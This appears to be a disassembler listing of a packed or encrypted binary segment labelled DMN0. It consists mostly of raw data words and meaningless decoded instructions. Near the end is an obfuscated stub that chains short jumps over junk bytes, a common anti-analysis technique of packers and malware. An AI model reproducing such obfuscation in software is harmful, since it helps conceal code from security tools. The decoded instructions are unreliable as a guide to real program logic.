dd 36196442h, 0DAFDE639h, 0E3D2FE2Ah, 5BA148D0h, 0A61953ADh
dd 5D03CAA8h, 431D445Ah, 897EE06Bh, 24F4BDA1h, 96616605h
dd 0D3527281h, 375C56F9h, 5AC02CB3h, 8EB1424Eh, 0BD30A63Ah
dd 6154999Ch, 19D58FC0h, 3292B2D2h, 4C58CAAAh, 17F20180h
dd 55BA0CB8h, 95FF8D25h, 1F453BA8h, 87000BD9h, 3227B68h
dd 0A8ABFC6Ch, 0B87C90FDh, 0D873D229h, 50AB33D1h, 6448FECEh
dd 0BE784692h, 0D5F725F0h, 0BF63A526h, 0ED06FDC7h, 0D134B1F3h
dd 2DEAFF56h, 74FC893Bh, 1A287D01h, 0E23ED2Ch, 0D5333EB1h
dd 5F30E83h, 1151B7B0h, 0DD97AC2Ch, 2D9E3611h, 39A3BB04h
dd 34E4F665h, 0AC80BEF4h, 0C3715C4Eh, 0A7A26C5h, 8B54EC32h
dd 8AEB304Fh, 2929FD87h, 0E880488Fh, 9CBC942Eh, 326579D2h
dd 79464410h, 0FC67BEDFh, 58E8F600h, 0C89E2FBFh, 4F301C45h
dd 79BE7ECBh, 0EE42950h, 3F706C9Fh, 68D97423h, 0E9C33E11h
dd 1C135C8Dh, 9D56780h, 0E85D8C7h, 0C08E2864h, 0A6188878h
dd 1E1DC500h, 0E139E7F9h, 19112BE1h, 683E0142h, 0FF3CD91Eh
dd 48A837C2h, 0CCB6EC5Dh, 0A19EE262h, 5FE3185Fh, 0F78A6781h
dd 0B2A56AAAh, 0BA725CB6h, 0FF672152h, 0A8F47832h, 2550CA1Bh
dd 5B1B6C1Eh, 7F59DD82h, 9858B5DEh, 0CBE3B76Dh, 25F8A55h
dd 0A0358EB5h, 0DBFB92BFh
dd 935CBE1Ch, 102A47E8h, 0A521F7B6h, 0A772C6C6h, 9A9EF18Fh
dd 74ED9307h, 6A12A5D8h, 0E0E4CA3Ah, 7467893Dh, 7AE70140h
dd 34F0ED7Dh, 5018DC15h, 0BE7D6BB2h, 0C8C85F65h, 0A54BA725h
dd 9F048118h, 9EF8659Fh, 0AA44FC9Dh, 77513613h, 43B8F2F5h
dd 3263EFB7h, 29B6CAD6h, 0EC11F4A7h, 4769FED0h, 75E61B34h
dd 9001F8F7h, 9267C159h, 0A6C6E56h, 76C3D289h, 902E9363h
dd 72E2D7AAh, 6D2FB44Bh, 1C065EABh, 0FF6BD8ECh, 0C6B5A2DBh
dd 44D39DA5h, 0E7989434h, 0D5CDFA0Bh, 14C4AC7Bh, 0DB1A66F5h
dd 282B4BCDh, 0DDC2DCB0h, 0A406AE4Eh, 0EE730FA2h, 64C5CE85h
dd 0E251CF2Fh, 0DA8107CDh, 0C7E3DE3Ah, 6D9A15A8h, 265647A3h
dd 908F5B98h, 0A7066917h, 0B258BDBh, 2F2DD84Bh, 5DC6BCE8h
dd 943C579Bh, 8E9EF7CCh, 8FB6E31Ch, 9B7CC5E8h, 0C07C6BF5h
dd 9479985h, 1EDF9D00h, 4E744524h, 36D035C3h, 0D30C33F4h
dd 84A2D430h, 103A0BF9h, 805004ACh, 8330AFFFh, 0EE862B95h
dd 3F9C5D53h, 2EA84033h, 0F91437AEh, 0E68A8EDAh, 0FC2C1E99h
dd 0AB7112CBh, 7129B5F3h, 3F30AEC7h, 95B2750Eh, 1E50BFE6h
dd 0E95C9F4h, 0C9E5C2D6h, 600C90D0h, 96533C3Dh, 48EDDA3Fh
dd 0B405A6D5h, 20D2AFF1h, 3433DF0Ah, 0BFF96986h, 42F31E83h
dd 2A2CFAFh, 54823A1Bh, 0DE903802h, 0E4EDACF0h, 79A6BE3Dh
dd 55A1DCC7h, 51A5D8ECh, 0FECB65DFh, 6F6280BEh, 0A474324Bh
dd 4382E5BAh, 3BABD2EEh, 7F9F236Ah, 6196BFE2h, 0FF9DB87Eh
dd 57389832h, 869EEA40h, 0D8806244h, 316AD041h, 0ED4EE1BBh
dd 62C3F039h, 33CA7C6h, 27B62C67h, 527040D0h, 6C423292h
dd 6651F594h, 63E23F04h, 0B3AC1E19h, 6C221BC8h, 64348E7Ch
dd 0D9CCC5F4h, 985C78A9h, 2D767DA0h, 0DD7CDEA3h, 55376585h
dd 9F6C4E7h, 197DBABCh, 723DBC57h, 0DA3FD4D8h, 84B62F7Ah
dd 0F435FD76h, 45315A8Bh, 2DD1FE9h, 2514BB60h, 0D10FEA7Ch
dd 984CCEE3h, 69EBD60Bh, 7285EE20h, 437DB717h, 37AB29DCh
dd 50F9A2C5h, 0E489CF1Ch, 0CCB89B3Dh, 0DE7CFC23h, 0B6EEAFB7h
dd 2EE83AF9h, 22397A3Bh, 44A23036h, 364B00FBh, 0DD67F848h
dd 7F20D571h, 8796B797h, 1ABC5725h, 26D2B286h, 39F7187Ch
dd 8A47EA01h, 2BAF5BC6h, 0C3FCE9B9h, 0A3DB19B6h, 0E397DF93h
dd 0DB95BC99h, 49BAC356h, 53DD0C6Dh, 449FD4FCh, 9FA4B3CBh
dd 0C3DDCC46h, 59942A3h, 427BAA83h, 0C26DBDCCh, 0F3B8FF29h
dd 89E18493h, 0FD319FA2h, 98A9886Bh, 0DAAB9BA7h, 99445BAh
dd 833F6924h, 0B38F4B0Eh, 18F77904h, 8B628C6Fh, 0C6C3F5FBh
dd 0B1794E5Eh, 0D69166DAh, 3B2BBEA9h, 64BC7BB2h, 0D3C019E7h
dd 7B806F35h, 9B619171h, 397A7DE8h, 84216E42h, 2A3F15D9h
dd 0AA8FE2FFh, 797BDE0Dh, 780B56CBh, 8A165DD7h, 4B701F3Ch
dd 39BB0E62h
db 90h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_428F6B: ; CODE XREF: DMN0:00429F85j
cli
mov ds:0B3F2E503h, eax
mov ecx, 59411B3Dh
and al, 1
shr ch, cl
arpl cs:[edx], cx
movsd
pop esi
sbb eax, 14DACB6Dh
dec ecx
xchg eax, ebx
scasd
add al, 4Dh
pop edi
db 36h
loope loc_428FD0
inc edi
adc ch, [ebx-3Fh]
pop ds
sahf
arpl [edi-61h], ax
retf
; ---------------------------------------------------------------------------
db 2Fh
dd 5EFCB6F2h, 3C0177D2h, 0A24787C4h, 3D8E5054h, 364CF696h
dd 7883961Dh, 0EC096E2h, 57D5A7DBh, 85C7C34Bh, 0BAB5DC4Bh
dd 1C8AC897h, 290E480Eh, 776338FBh, 0EFD582EFh
; ---------------------------------------------------------------------------
loc_428FD0: ; CODE XREF: DMN0:00428F8Aj
cmpsb
setalc
lds edi, [ecx+7D003B16h]
add [ebp+eax*4-22D5FD8Bh], esp
and esi, 0FFFFFFD3h
stosd
or [ebx+75h], esp
scasd
clc
cmp esp, [ecx+25h]
jbe short near ptr loc_429034+2
loop loc_429034
cmp cl, bl
dec edx
popf
inc eax
call far ptr 30C7h:0BFEBD454h
cmp bh, dh
; ---------------------------------------------------------------------------
db 8Fh, 0BFh, 0F7h
dd 0B5BC65AAh, 0B3413314h, 27461183h, 0FB805AD8h, 36DBB75Fh
dd 55B2A231h, 0D8191686h, 32770A83h, 88365CC8h, 101B2CF8h
dd 52DAB419h, 8FBB2C8Dh, 0B15EAB0Dh
; ---------------------------------------------------------------------------
loc_429034: ; CODE XREF: DMN0:00428FEDj
; DMN0:00428FEBj
mov esp, 0A89E5E98h
inc ebx
db 65h
sub al, 0EEh
ja short loc_4290B1
push esp
mov ah, 8
mov edi, 0A7DA6079h
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
and ch, bl
retf
; ---------------------------------------------------------------------------
db 72h
dd 0DCEA1E38h, 2E2CE325h, 15D7AE3Dh, 39877E1Ch, 0A33CE729h
dd 0B3298308h, 51CF21Fh, 0FB407572h
db 3Dh
; ---------------------------------------------------------------------------
loc_42906D: ; CODE XREF: DMN0:loc_4290B1j
or byte ptr [edx+ecx], 74h
xor al, 0D0h
jmp short near ptr loc_4290E6+4
; ---------------------------------------------------------------------------
db 0A9h, 81h, 0DAh
dd 0ECBCD88Ch, 0E1899715h, 0C75DC5ABh, 6D8A7931h, 530DADE9h
dd 6AA393BEh, 69E25B94h, 534E372Bh, 78E0FE96h, 89E0680Eh
dd 0BB96F46Bh, 0DC5A85BEh, 0E016B037h, 0A352C92h
db 32h
; ---------------------------------------------------------------------------
loc_4290B1: ; CODE XREF: DMN0:0042903Dj
jle short loc_42906D
inc edi
lea esi, [ebp+5212137Ah]
test al, 8
mov byte ptr [edi], 60h
push edi
call near ptr 1B40DC6h ; CODE XREF: DMN0:0042911Ej
and [eax], ch
add esi, [ecx-43h]
add ebx, [ebx+3BB50361h]
mov bl, 74h
jbe short near ptr loc_4290FB+1
rcr byte ptr [edi-1E5806E4h], 1
cmpsd
or [eax+ebx*4-5Dh], dl
sub [ebx], ecx
add [ebx], bh
mov al, 0AAh
daa
loc_4290E6: ; CODE XREF: DMN0:00429073j
or eax, 65A34D8h
and [eax+esi*4+4A818CAh], dh
and [ecx+15h], bh
or [edx-0BF773F8h], esp
loc_4290FB: ; CODE XREF: DMN0:004290D2j
xchg ecx, ebx
add eax, 42FD699Bh
pop ebp
inc eax
dec ebp
xchg eax, ebp
fsubr qword ptr [edi-7E466EDCh]
mov bh, 1Fh
aam 2Bh
bound esp, [eax]
jno short loc_42916E
bound eax, [ebx]
ficom dword ptr ds:760F2AC3h
mov cl, 26h
jz short near ptr loc_4290C0+3
push ds
in al, 0A9h ; Interrupt Controller #2, 8259A
out dx, al
pop ecx
or eax, 0A60E60D2h
retf
; ---------------------------------------------------------------------------
db 51h
dd 58CE1852h, 8B9F42A9h, 5B775246h, 0A047F341h, 0D4D4A071h
dd 19F8C82Fh, 571EEEA6h, 0DEC5AB3Ch, 512EF15Dh, 0A3B92167h
dd 0EC34C139h, 2C6354FEh, 1394E241h
; ---------------------------------------------------------------------------
loc_429160: ; CODE XREF: DMN0:0042919Bj
daa
outsd
xchg eax, edx
pushf
jge short loc_4291CC
dec ebx
pminsw mm5, qword ptr [eax-4A2D00B9h]
loc_42916E: ; CODE XREF: DMN0:00429112j
push edx
mov eax, 1F96C039h
inc ecx
dec ecx
or eax, 0F34B63AAh
jno short loc_4291AB
mov edi, 95C5689Ah
in eax, dx
; ---------------------------------------------------------------------------
db 8Eh
dd 0DD47A73Bh, 7B247DEFh, 0B603BC47h
db 9Dh, 5, 8Ah
; ---------------------------------------------------------------------------
loc_429193: ; CODE XREF: DMN0:004291DFj
js short near ptr loc_4291BB+4
mov ebx, 94DBAB3Fh
loc_42919A: ; CODE XREF: DMN0:004291EDj
dec eax
jl short loc_429160
push 863CD680h
push ecx
fdiv st, st(2)
clc
push 0E9454D42h
loc_4291AB: ; CODE XREF: DMN0:0042917Bj
mov edi, 0A119BC51h
xchg eax, edx
popf
inc edi
faddp st(1), st
test eax, 1D1647FDh ; CODE XREF: DMN0:004291EFj
clc
loc_4291BB: ; CODE XREF: DMN0:loc_429193j
mov ds:0A89DE23Eh, al
jle short loc_429220
cmp al, 0FDh
fnsave byte ptr [ebp-6D4714B6h]
dec ebx
std
loc_4291CC: ; CODE XREF: DMN0:00429164j
in al, 0A5h ; Interrupt Controller #2, 8259A
dec esp
lds edx, [si-37h]
enter 35E5h, 0E0h
pop ss
loc_4291D8: ; CODE XREF: DMN0:0042922Bj
cmc
inc edi
dec eax
inc ebx
add [eax+edx*4], eax
jo short loc_429193
int 0F5h
sbb esi, [eax+6E458613h]
nop
lodsb
mov ah, 0B1h
jz short loc_42919A
jnb short near ptr loc_4291B5+3
; ---------------------------------------------------------------------------
db 8Fh, 7Fh, 4Ch
dd 0DBF76CECh, 1275D99Ah, 29800E3h, 53B583DCh, 19F7EFFCh
dd 0C2551496h, 0B677B5F5h, 3F35C119h, 0E102E436h, 0B07A1D32h
dd 0B1F184ACh
; ---------------------------------------------------------------------------
loc_429220: ; CODE XREF: DMN0:004291C0j
mov [edi+67h], esp
or esi, [edx-42h]
test [ebp-62h], ah
inc eax
insd
jb short loc_4291D8
loc_42922D: ; CODE XREF: DMN0:00429234j
adc al, 5
sal bh, 9Dh
push ds
pop edi
js short loc_42922D
jg short loc_4292A7
out dx, eax
or al, 48h
adc al, 12h
xchg ecx, [ebp-2FE0BB11h]
jns short near ptr loc_4292B9+1
das
pop edi
insd
mov ah, 4Eh
cmp ecx, [edx]
loc_42924C: ; CODE XREF: DMN0:004292ACj
int 84h
xor eax, 0CD67F949h
int 0A8h ; used by BASIC while in interpreter
sbb bh, al
test eax, 6313A78Fh
push es
adc eax, [edx]
mov [ebx+1Bh], bh
popf
call near ptr 0B1761582h
add al, 7Ch
fadd st, st(2)
and al, bl
mov ah, 80h
pop esi
db 3Eh
pop edx
db 2Eh
wait
bound edx, [esp+64h]
test dword ptr [eax+38h], 57EA70C3h
mov ch, 0CEh ; CODE XREF: DMN0:004292C4j
add dl, [esi]
call near ptr 0E8E7A78Dh
outsb
mov ebp, 67F1DE3Fh
imul edx
xchg eax, ecx
mov dl, 4Eh
sal dh, 1
lodsb
dec eax
cli
rcr byte ptr [ecx], 1
dec ebx
retf 988Ah
; ---------------------------------------------------------------------------
dd 5BA132ECh
db 0D8h, 2Eh, 0EFh
; ---------------------------------------------------------------------------
loc_4292A7: ; CODE XREF: DMN0:00429236j
push ebx
arpl [eax+26h], cx
lodsb
jge short loc_42924C
xchg eax, ebp
call near ptr 0B59811B6h
mov ebx, 0EC623A7Fh
loc_4292B9: ; CODE XREF: DMN0:00429243j
fidiv dword ptr [esi]
mul dword ptr [ecx+esi*8+1CC96308h]
dec edi
push ebx
jnp short near ptr loc_429281+1
iret
; ---------------------------------------------------------------------------
db 0ADh
dd 3FC21154h, 56C48BD9h, 5CE3EC9h, 0F920D93Bh, 0D45659EBh
dd 187D7EC9h, 680FAFBAh, 1DD253B3h, 5BDC4A4Ch, 0DF921820h
dd 0AFB892D7h, 2A147B82h, 6F2C7AFAh, 0BD8B8676h, 15BB445Bh
dd 16CB85A9h, 9762966h, 0D09C2BAEh, 44D01B62h, 0DF269903h
dd 5FC06A75h, 16547D8Dh, 77AA0B27h, 0B456C2C7h, 0E3B35C31h
dd 0F7E3A9F4h, 59CEEC2Ah, 250B5D4Fh, 75ED4972h, 0ABC9B5B9h
dd 0E129EE31h, 6FBF684Ch, 90F82F80h, 2555AC0Ch, 37B7994Ch
dd 27E199FCh, 3CE8287Bh, 1A554478h, 0AA6D2264h, 8AB0E35Bh
dd 9E50449Bh, 3F325EA1h, 0CEB82478h, 2085F03h, 30B002AAh
dd 1D4FD85h, 4419282Ch, 4742665Eh, 6C437CD0h, 57B432A1h
dd 0ABCC0DB6h, 0C363B79Ah, 0FC7AB8B3h, 9597A948h, 43699989h
dd 634E8382h, 4C978ACDh, 3A30358Bh, 6C3B6C36h, 7052219Ah
dd 18A093C4h
db 0CCh
; ---------------------------------------------------------------------------
pop ss
dec edx
push ebp
mov ebp, esp
mov eax, [esp+8]
mov ebp, eax
pusha
mov eax, 0CD42DC15h
push eax
jmp short loc_4293EF
; ---------------------------------------------------------------------------
db 0B2h, 0B4h, 3Bh
dd 0CC2DD9ABh, 0D7AB6A6h, 0E9DA5A62h, 2286455Bh, 74654113h
dd 502873BEh
db 8, 0DDh, 62h
; ---------------------------------------------------------------------------
loc_4293EF: ; CODE XREF: DMN0:004293CFj
xchg ecx, esi
xchg edx, ecx
jmp short loc_4293FE
; ---------------------------------------------------------------------------
db 35h, 6Bh, 0E3h
; ---------------------------------------------------------------------------
fidivr word ptr [esi+45D71E1Dh]
loc_4293FE: ; CODE XREF: DMN0:004293F3j
cmc
jmp short loc_42941B
; ---------------------------------------------------------------------------
db 5Ch, 86h, 18h
dd 2C3904A7h, 0B450EDC1h, 2636C64Ch, 9EECDD9Dh, 16FFF072h
db 5, 0EAh, 0C3h
; ---------------------------------------------------------------------------
loc_42941B: ; CODE XREF: DMN0:004293FFj
cmc
clc
clc
jmp short loc_42942A
; ---------------------------------------------------------------------------
dd 0CE81413Ah, 0DC3B9AA2h
db 11h
db 6
; ---------------------------------------------------------------------------
loc_42942A: ; CODE XREF: DMN0:0042941Ej
jmp short loc_429446
; ---------------------------------------------------------------------------
dd 9F9C45A7h, 6A7DC06Fh, 6316194Ah, 4DB29AFBh, 14E9EAD4h
dd 2294B43Bh
; ---------------------------------------------------------------------------
pop ebp
push edx
loc_429446: ; CODE XREF: DMN0:loc_42942Aj
neg ebx
jmp short loc_429457
; ---------------------------------------------------------------------------
dw 1F41h
dd 78617391h, 0E6D7F8D7h
db 2Eh, 97h, 0D9h
; ---------------------------------------------------------------------------
loc_429457: ; CODE XREF: DMN0:00429448j
jmp short $+2
test eax, 42D53FC2h
xor edi, edi
jmp short loc_429467
; ---------------------------------------------------------------------------
db 0E1h
db 0D2h, 0ACh, 0FDh
; ---------------------------------------------------------------------------
loc_429467: ; CODE XREF: DMN0:00429461j
jmp short loc_42947E
; ---------------------------------------------------------------------------
db 0EDh, 0BCh, 18h
dd 0B0122D62h, 8FF3A9C4h, 6F071E9Dh, 93A03CA0h
db 0EEh, 5Fh
; ---------------------------------------------------------------------------
loc_42947E: ; CODE XREF: DMN0:loc_429467j
xchg ecx, eax
jmp short loc_42949C
; ---------------------------------------------------------------------------
dw 0BD6Ch
dd 76ADDE08h, 58772D9Dh, 0A8D54242h, 11C7B38h, 0B6E4E093h
dd 801151D5h
; ---------------------------------------------------------------------------
loc_42949C: ; CODE XREF: DMN0:00429480j
jmp short loc_4294AC
; ---------------------------------------------------------------------------
dw 0EAF4h
; ---------------------------------------------------------------------------
cld
lea eax, [edx]
sbb al, 3Eh
mov ecx, 0BFA3F8B9h
jecxz short loc_4294E4
loc_4294AC: ; CODE XREF: DMN0:loc_42949Cj
jmp short loc_4294C1
; ---------------------------------------------------------------------------
dw 39E1h
dd 7C14A758h, 829977Fh, 7BDE6A71h, 61CCF5F2h
db 80h
; ---------------------------------------------------------------------------
loc_4294C1: ; CODE XREF: DMN0:loc_4294ACj
bswap eax
neg ecx
add edi, 31000h
jmp short loc_4294EA
; ---------------------------------------------------------------------------
and [esi-22CE10ADh], edi
cmp al, 5Eh
retf 0FEEDh
; ---------------------------------------------------------------------------
dd 0B84BF458h, 4162F616h, 6BC98B2Bh
; ---------------------------------------------------------------------------
loc_4294E4: ; CODE XREF: DMN0:004294AAj
test bl, al
push ebp
mov cl, 41h
outsb
loc_4294EA: ; CODE XREF: DMN0:004294CBj
xor ebx, 73260473h
jmp short loc_42950B
; ---------------------------------------------------------------------------
dw 0D962h
dd 279AFD22h, 0FE1785BCh, 70DA97FEh, 0FE3BD215h, 8247B1AEh
db 25h, 97h, 79h
; ---------------------------------------------------------------------------
loc_42950B: ; CODE XREF: DMN0:004294F0j
jmp short loc_42952A
; ---------------------------------------------------------------------------
db 8Eh, 4Ch, 0C8h
dd 56710C20h, 1A3C60F2h, 0ED1ABACEh, 0CF727316h, 2564B72Fh
dd 192644Bh
db 83h, 0B3h
; ---------------------------------------------------------------------------
loc_42952A: ; CODE XREF: DMN0:loc_42950Bj
xchg eax, ebp
xchg ebp, edi
jmp short loc_42954D
; ---------------------------------------------------------------------------
dd 0E1E2B5F2h, 0F5103677h, 8CDC6D2Bh, 0B6E7726Ch, 59F0DE6Ch
dd 8B3FD2Ah, 0F7B6AA6Ch
db 0BEh
; ---------------------------------------------------------------------------
loc_42954D: ; CODE XREF: DMN0:0042952Ej
jmp short loc_429560
; ---------------------------------------------------------------------------
align 10h
dd 0B0D5F912h, 2F2A5062h, 0A3E10BBDh, 33EE1201h
; ---------------------------------------------------------------------------
loc_429560: ; CODE XREF: DMN0:loc_42954Dj
sub edx, edx
jmp short loc_429583
; ---------------------------------------------------------------------------
dd 0E4510D0h, 5B4DF6F8h, 5423B200h, 0F85FD0C4h, 2E4E657Dh
dd 0CCDA4326h, 0ABDD0F8Bh
db 0BAh, 5Fh, 2Fh
; ---------------------------------------------------------------------------
loc_429583: ; CODE XREF: DMN0:00429562j
xchg edi, ebx
jmp short loc_429594
; ---------------------------------------------------------------------------
db 30h
dd 0C51DCCAAh, 3303F08Bh, 4FC16C28h
; ---------------------------------------------------------------------------
loc_429594: ; CODE XREF: DMN0:00429585j
jmp short loc_429599
; ---------------------------------------------------------------------------
dw 689Dh
db 0B1h
; ---------------------------------------------------------------------------
loc_429599: ; CODE XREF: DMN0:loc_429594j
cmc
jmp short loc_4295B6
; ---------------------------------------------------------------------------
dd 4013323Fh, 0B8F01E1Ch, 4BBC07B5h, 77ADAADh, 32F7F74Bh
dd 73D3DE62h
db 0F1h, 0D5h
; ---------------------------------------------------------------------------
loc_4295B6: ; CODE XREF: DMN0:0042959Aj
jmp short loc_4295BE
; ---------------------------------------------------------------------------
dd 0B23DF2E7h
; ---------------------------------------------------------------------------
or ecx, edx
loc_4295BE: ; CODE XREF: DMN0:loc_4295B6j
jmp short loc_4295C8
; ---------------------------------------------------------------------------
dd 0F2FB471Ch, 0F5AB8E1Fh
; ---------------------------------------------------------------------------
loc_4295C8: ; CODE XREF: DMN0:loc_4295BEj
sal edi, 0EAh
add edx, 5363h
loc_4295D1: ; CODE XREF: DMN0:00429E1Ej
jmp short loc_4295DC
; ---------------------------------------------------------------------------
db 46h
dd 62D9DBABh, 0F8AFC4ABh
; ---------------------------------------------------------------------------
loc_4295DC: ; CODE XREF: DMN0:loc_4295D1j
jmp short loc_4295F3
; ---------------------------------------------------------------------------
dw 9276h
dd 6926D5E4h, 213CCF9Dh, 5E1E4601h, 66C2C370h
db 0F2h, 65h, 0F0h
; ---------------------------------------------------------------------------
loc_4295F3: ; CODE XREF: DMN0:loc_4295DCj
neg edi
jmp short loc_4295FF
; ---------------------------------------------------------------------------
db 1
dd 7213B2DDh
db 27h, 7Bh, 0C0h
; ---------------------------------------------------------------------------
loc_4295FF: ; CODE XREF: DMN0:004295F5j
jmp short loc_429607
; ---------------------------------------------------------------------------
cmp ds:0E8CCE2F1h, dl
loc_429607: ; CODE XREF: DMN0:loc_4295FFj
jmp short loc_429623
; ---------------------------------------------------------------------------
db 28h, 41h, 58h
dd 6FBDC91Fh, 0EAD02616h, 29D5A7E4h, 540443B7h, 0F760A005h
db 75h, 8Eh, 21h
; ---------------------------------------------------------------------------
loc_429623: ; CODE XREF: DMN0:loc_429607j
xchg esi, esp
jmp short loc_42963A
; ---------------------------------------------------------------------------
db 89h
dd 6BE2CD80h, 0A9394445h, 0A166857Eh, 76B8A0B4h
db 7, 0CAh
; ---------------------------------------------------------------------------
loc_42963A: ; CODE XREF: DMN0:00429625j
cmc
jmp short loc_429647
; ---------------------------------------------------------------------------
db 0ECh, 35h, 39h
; ---------------------------------------------------------------------------
pop edi
retn 6F6Ch
; ---------------------------------------------------------------------------
mov fs, word ptr [ecx+3Dh]
loc_429647: ; CODE XREF: DMN0:0042963Bj
jmp short loc_42964D
; ---------------------------------------------------------------------------
db 64h, 34h, 6Dh
db 75h
; ---------------------------------------------------------------------------
loc_42964D: ; CODE XREF: DMN0:loc_429647j
jmp short loc_429662
; ---------------------------------------------------------------------------
db 0CDh
dd 3B1C8528h, 2B27A0BBh, 0A26752F7h, 47A1CC61h
; ---------------------------------------------------------------------------
cmp [edx], bl
loc_429662: ; CODE XREF: DMN0:loc_42964Dj
jmp short loc_429665
; ---------------------------------------------------------------------------
sahf
loc_429665: ; CODE XREF: DMN0:loc_429662j
xchg eax, eax
jmp short loc_429685
; ---------------------------------------------------------------------------
db 0A0h, 43h, 0D2h
dd 7AA3B698h, 39C76E3Ah, 0EF792336h, 6479B821h, 64D9E5DEh
dd 0DBD3CA75h
db 0EFh
; ---------------------------------------------------------------------------
loc_429685: ; CODE XREF: DMN0:00429667j
xchg esi, esp
jmp short loc_429693
; ---------------------------------------------------------------------------
db 0F4h, 1Bh, 2Dh
dd 0E96E962Fh
db 22h, 0, 6Ah
; ---------------------------------------------------------------------------
loc_429693: ; CODE XREF: DMN0:00429687j
jmp short loc_4296B3
; ---------------------------------------------------------------------------
db 96h, 90h, 0EBh
dd 4DB416B5h, 0DE88B949h, 0AF00FEDCh, 0E181AE1h, 0EB00A080h
dd 8D806Dh
db 0B0h, 2Ah, 0EBh
; ---------------------------------------------------------------------------
loc_4296B3: ; CODE XREF: DMN0:loc_429693j
mov ebx, ebp
jmp short loc_4296D4
; ---------------------------------------------------------------------------
db 6Ch
; ---------------------------------------------------------------------------
xchg eax, edi
sbb ah, ah
and esp, eax
jno short locret_429704
fcmovu st, st
adc eax, 47A3B5E9h
mov ch, 0DCh
leave
push edx
and al, 0B1h
retf 0B045h
; ---------------------------------------------------------------------------
db 3
dd 0B65C2A1Ch
; ---------------------------------------------------------------------------
loc_4296D4: ; CODE XREF: DMN0:004296B5j
xchg edx, edx
cmc
ror ecx, 85h
jmp short loc_4296E1
; ---------------------------------------------------------------------------
dd 56820A20h
; ---------------------------------------------------------------------------
popf
loc_4296E1: ; CODE XREF: DMN0:004296DAj
xchg edx, edx
jmp short loc_4296EF
; ---------------------------------------------------------------------------
db 0A9h, 0D2h, 0E1h
dd 0EAFE28F0h
db 41h, 97h, 85h
; ---------------------------------------------------------------------------
loc_4296EF: ; CODE XREF: DMN0:004296E3j
jmp short loc_4296F3
; ---------------------------------------------------------------------------
db 6Eh, 79h
; ---------------------------------------------------------------------------
loc_4296F3: ; CODE XREF: DMN0:loc_4296EFj
jmp short loc_429707
; ---------------------------------------------------------------------------
db 21h, 30h, 11h
dd 66919A83h, 93E5546Ah, 0C7FB24F4h
; ---------------------------------------------------------------------------
locret_429704: ; CODE XREF: DMN0:004296BDj
retf 0A41Ch
; ---------------------------------------------------------------------------
loc_429707: ; CODE XREF: DMN0:loc_4296F3j
std
jmp short loc_42971E
; ---------------------------------------------------------------------------
dw 0CF46h
dd 6A5980E7h, 303BC2B8h, 40E757FBh, 10CFEA1Bh
; ---------------------------------------------------------------------------
dec ebp
dec ebx
loc_42971E: ; CODE XREF: DMN0:00429708j
jmp short loc_429734
; ---------------------------------------------------------------------------
mov ds:0B55F9620h, al
mov esi, 0E2C7AF18h
retf 4529h
; ---------------------------------------------------------------------------
db 31h, 53h, 39h
dd 888044FCh
; ---------------------------------------------------------------------------
loc_429734: ; CODE XREF: DMN0:loc_42971Ej
add ebx, eax
xchg esp, ecx
jmp short loc_429743
; ---------------------------------------------------------------------------
pop esp
jz short near ptr byte_429795
retn
; ---------------------------------------------------------------------------
sub eax, 9A7BD67Ch
loc_429743: ; CODE XREF: DMN0:00429738j
jmp short loc_429753
; ---------------------------------------------------------------------------
db 5Dh, 50h, 0E5h
dd 13FFDD81h, 65E996E4h
db 0DCh, 90h, 0EDh
; ---------------------------------------------------------------------------
loc_429753: ; CODE XREF: DMN0:loc_429743j
jmp short loc_429764
; ---------------------------------------------------------------------------
db 0FAh, 0C8h, 55h
dd 0F4A4AF7Dh, 17C0BAE0h, 6BB6E631h
; ---------------------------------------------------------------------------
loc_429764: ; CODE XREF: DMN0:loc_429753j
jmp short loc_429777
; ---------------------------------------------------------------------------
dw 0C5F8h
dd 0C794850Dh, 9B71CDE0h, 0D8929103h
db 76h, 0A3h, 0BAh
; ---------------------------------------------------------------------------
loc_429777: ; CODE XREF: DMN0:loc_429764j
mov esi, [ebx]
jmp short loc_429799
; ---------------------------------------------------------------------------
db 0BCh
dd 0F0E89834h, 0E9A5B0EDh, 2EA97C98h, 29FE06AEh, 0E0A8FE9Bh
dd 0E3CE385Dh
db 0A4h
byte_429795 db 35h, 91h, 33h ; CODE XREF: DMN0:0042973Bj
db 0EDh
; ---------------------------------------------------------------------------
loc_429799: ; CODE XREF: DMN0:00429779j
jmp short loc_4297AE
; ---------------------------------------------------------------------------
sub dh, [ebp-795B5B2Ah]
aas
wait
adc dh, [eax+21h]
adc [ebx+19A4B36Bh], esp
sbb dh, bh
loc_4297AE: ; CODE XREF: DMN0:loc_429799j
xchg ebp, ecx
jmp short loc_4297B3
; ---------------------------------------------------------------------------
push ecx
loc_4297B3: ; CODE XREF: DMN0:004297B0j
xchg ebp, edx
jmp short loc_4297C4
; ---------------------------------------------------------------------------
aaa
mov dh, dl
xor al, 0Dh
inc edx
and [ebx-1Ah], al
dec esi
mov dh, 0F6h
sahf
loc_4297C4: ; CODE XREF: DMN0:004297B5j
jmp short loc_4297D0
; ---------------------------------------------------------------------------
dw 8C66h
db 0CCh
db 0D7h, 0B2h, 0A0h
dd 0BB70EF9Ch
; ---------------------------------------------------------------------------
loc_4297D0: ; CODE XREF: DMN0:loc_4297C4j
jmp short loc_4297F0
; ---------------------------------------------------------------------------
dw 0DEC5h
dd 2C8A7FF1h, 0ED3B938Ch, 0DAAF365Fh, 0FCF6C444h, 6388489Eh
dd 0A722DC77h, 90443EEEh
; ---------------------------------------------------------------------------
loc_4297F0: ; CODE XREF: DMN0:loc_4297D0j
xchg esi, edi
loc_4297F2: ; CODE XREF: DMN0:0042985Cj
xchg edx, ecx
jmp short loc_429814
; ---------------------------------------------------------------------------
dw 639Eh
dd 0C4429C68h, 91DE9B6Eh, 0E5472B60h, 0C7774D54h, 51A0C666h
dd 4DEB79C8h, 6FEFE27Eh
; ---------------------------------------------------------------------------
loc_429814: ; CODE XREF: DMN0:004297F4j
jmp short loc_42981C
; ---------------------------------------------------------------------------
dw 3DBCh
dd 0D0A25BB0h
; ---------------------------------------------------------------------------
loc_42981C: ; CODE XREF: DMN0:loc_429814j
jmp short loc_42981F
; ---------------------------------------------------------------------------
db 75h
; ---------------------------------------------------------------------------
loc_42981F: ; CODE XREF: DMN0:loc_42981Cj
jmp short loc_42983D
; ---------------------------------------------------------------------------
db 1Ah, 87h, 0F8h
dd 0D534767Eh, 4FA02AF4h, 9D87EEAFh, 0D339D840h, 1B905719h
dd 7D3DDF42h
; ---------------------------------------------------------------------------
das
